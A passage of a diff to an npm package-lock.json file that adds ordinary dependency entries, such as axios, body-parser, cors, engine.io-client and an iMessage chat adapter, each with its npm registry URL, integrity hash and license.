"integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", "dev": true }, + "node_modules/@types/jsonwebtoken": { + "version": "9.0.10", + "resolved": "https://registry.npmjs.org/@types/jsonwebtoken/-/jsonwebtoken-9.0.10.tgz", + "integrity": "sha512-asx5hIG9Qmf/1oStypjanR7iKTv0gXQ1Ov/jfrX6kS/EO0OFni8orbmGCn0672NHR3kXHwpAwR+B368ZGN/2rA==", + "license": "MIT", + "dependencies": { + "@types/ms": "*", + "@types/node": "*" + } + }, "node_modules/@types/mdast": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", @@ -1337,6 +2919,12 @@ "undici-types": "~6.21.0" } }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", + "license": "MIT" + }, "node_modules/@types/unist": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", @@ -1619,6 +3207,12 @@ "url": "https://opencollective.com/eslint" } }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", + "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==", + "license": "ISC" + }, "node_modules/@vitest/expect": { "version": "4.0.18", "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.18.tgz", @@ -1746,6 +3340,19 @@ "integrity": "sha512-8kkeoQKLDaKXefjV5dbhBj2aErfKp1Mc4pb6tj8144cF+Em5SPbyMbyLCHp+BVrFfFVCBluCtMx+jjvaFVZGww==", "license": "Apache-2.0" }, + "node_modules/accepts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", + "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", + "license": "MIT", + "dependencies": { + "mime-types": "^3.0.0", + "negotiator": "^1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, "node_modules/acorn": { "version": "8.16.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", @@ -1767,6 +3374,15 @@ "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, "node_modules/ajv": { "version": "6.14.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", @@ -1783,6 +3399,12 @@ "url": "https://github.com/sponsors/epoberezkin" } }, + "node_modules/another-json": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/another-json/-/another-json-0.2.0.tgz", + "integrity": "sha512-/Ndrl68UQLhnCdsAzEXLMFuOR546o2qbYRqCglaNHbjXrwG1ayTcdwr3zkSGOGtGXDyR5X9nCFfnyG2AFJIsqg==", + "license": "Apache-2.0" + }, "node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", @@ -1814,6 +3436,23 @@ "node": ">=12" } }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/axios": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz", + "integrity": "sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", + "proxy-from-env": "^2.1.0" + } + }, "node_modules/bail": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", @@ -1830,6 +3469,12 @@ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", "dev": true }, + "node_modules/base-x": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/base-x/-/base-x-5.0.1.tgz", + "integrity": "sha512-M7uio8Zt++eg3jPj+rHMfCC+IuygQHHCOU+IYsVtik6FWjuYpVt/+MRKcgsAMHh8mMFAwnB+Bs+mTrFiXjMzKg==", + "license": "MIT" + }, "node_modules/base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", @@ -1850,6 +3495,12 @@ ], "license": "MIT" }, + "node_modules/before-after-hook": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-4.0.0.tgz", + "integrity": "sha512-q6tR3RPqIB1pMiTRMFcZwuG5T8vwp+vUvEG0vuI6B+Rikh5BfPp2fQ82c925FOs+b0lcFQ8CFrL+KbilfZFhOQ==", + "license": "Apache-2.0" + }, "node_modules/better-sqlite3": { "version": "11.10.0", "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-11.10.0.tgz", @@ -1861,6 +3512,24 @@ "prebuild-install": "^7.1.1" } }, + "node_modules/big-integer": { + "version": "1.6.52", + "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.52.tgz", + "integrity": "sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==", + "license": "Unlicense", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/bignumber.js": { + "version": "9.3.1", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", + "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", + "license": "MIT", + "engines": { + "node": "*" + } + }, "node_modules/bindings": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", @@ -1881,6 +3550,48 @@ "readable-stream": "^3.4.0" } }, + "node_modules/body-parser": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz", + "integrity": "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==", + "license": "MIT", + "dependencies": { + "bytes": "^3.1.2", + "content-type": "^1.0.5", + "debug": "^4.4.3", + "http-errors": "^2.0.0", + "iconv-lite": "^0.7.0", + "on-finished": "^2.4.1", + "qs": "^6.14.1", + "raw-body": "^3.0.1", + "type-is": "^2.0.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "license": "ISC" + }, + "node_modules/bplist-parser": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/bplist-parser/-/bplist-parser-0.3.2.tgz", + "integrity": "sha512-apC2+fspHGI3mMKj+dGevkGo/tCqVB8jMb6i+OX+E29p0Iposz07fABkRIfVUPNd5A5VbuOz1bZbnmkKLYF+wQ==", + "license": "MIT", + "dependencies": { + "big-integer": "1.6.x" + }, + "engines": { + "node": ">= 5.10.0" + } + }, "node_modules/brace-expansion": { "version": "1.1.13", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz", @@ -1892,6 +3603,15 @@ "concat-map": "0.0.1" } }, + "node_modules/bs58": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/bs58/-/bs58-6.0.0.tgz", + "integrity": "sha512-PD0wEnEYg6ijszw/u8s+iI3H17cTymlrwkKhDhPZq+Sokl3AU4htyBFTjAeNAlCCmg0f53g6ih3jATyCKftTfw==", + "license": "MIT", + "dependencies": { + "base-x": "^5.0.0" + } + }, "node_modules/buffer": { "version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", @@ -1916,6 +3636,50 @@ "ieee754": "^1.1.13" } }, + "node_modules/buffer-equal-constant-time": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", + "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", + "license": "BSD-3-Clause" + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/callsites": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", @@ -1971,6 +3735,26 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/character-entities-html4": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz", + "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", + "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/chat": { "version": "4.24.0", "resolved": "https://registry.npmjs.org/chat/-/chat-4.24.0.tgz", @@ -1986,12 +3770,35 @@ "unified": "^11.0.5" } }, + "node_modules/chat-adapter-imessage": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/chat-adapter-imessage/-/chat-adapter-imessage-0.1.1.tgz", + "integrity": "sha512-Lq4FZqvV8QnwtD3CVUPF56L6J4aIEaOY08+uuSWBsxKKtTBH/rbJltJiiz2QRGvvWRyuBsjJ0RzXn4kiDG0LaQ==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "^4.15.0", + "@photon-ai/advanced-imessage-kit": "^1.14.3", + "@photon-ai/imessage-kit": "^2.1.2" + }, + "peerDependencies": { + "chat": "^4.14.0" + } + }, "node_modules/chownr": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", "license": "ISC" }, + "node_modules/cluster-key-slot": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/cluster-key-slot/-/cluster-key-slot-1.1.2.tgz", + "integrity": "sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==", + "license": "Apache-2.0", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", @@ -2010,12 +3817,100 @@ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/comma-separated-tokens": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", + "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", "dev": true }, + "node_modules/consola": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/consola/-/consola-3.4.2.tgz", + "integrity": "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==", + "license": "MIT", + "engines": { + "node": "^14.18.0 || >=16.10.0" + } + }, + "node_modules/content-disposition": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz", + "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", + "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", + "license": "MIT", + "engines": { + "node": ">=6.6.0" + } + }, + "node_modules/cors": { + "version": "2.8.6", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", + "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==", + "license": "MIT", + "dependencies": { + "object-assign": "^4", + "vary": "^1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/cron-parser": { "version": "5.5.0", "resolved": "https://registry.npmjs.org/cron-parser/-/cron-parser-5.5.0.tgz", @@ -2042,6 +3937,43 @@ "node": ">= 8" } }, + "node_modules/css-select": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.2.2.tgz", + "integrity": "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-what": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.2.2.tgz", + "integrity": "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, "node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", @@ -2102,6 +4034,33 @@ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", "dev": true }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/dequal": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", @@ -2178,6 +4137,99 @@ "url": "https://github.com/discordjs/discord.js?sponsor" } }, + "node_modules/dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "BSD-2-Clause" + }, + "node_modules/domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", + "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/ecdsa-sig-formatter": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", + "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/end-of-stream": { "version": "1.4.5", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", @@ -2187,6 +4239,79 @@ "once": "^1.4.0" } }, + "node_modules/engine.io-client": { + "version": "6.6.4", + "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.6.4.tgz", + "integrity": "sha512-+kjUJnZGwzewFDw951CDWcwj35vMNf2fcj7xQWOctq1F2i1jkDdVvdFG9kM/BEChymCH36KgjnW0NsL58JYRxw==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.4.1", + "engine.io-parser": "~5.2.1", + "ws": "~8.18.3", + "xmlhttprequest-ssl": "~2.1.1" + } + }, + "node_modules/engine.io-client/node_modules/ws": { + "version": "8.18.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.3.tgz", + "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/engine.io-parser": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.3.tgz", + "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, "node_modules/es-module-lexer": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz", @@ -2194,6 +4319,33 @@ "dev": true, "license": "MIT" }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, "node_modules/esbuild": { "version": "0.27.3", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.3.tgz", @@ -2236,6 +4388,12 @@ "@esbuild/win32-x64": "0.27.3" } }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, "node_modules/escape-string-regexp": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", @@ -2413,6 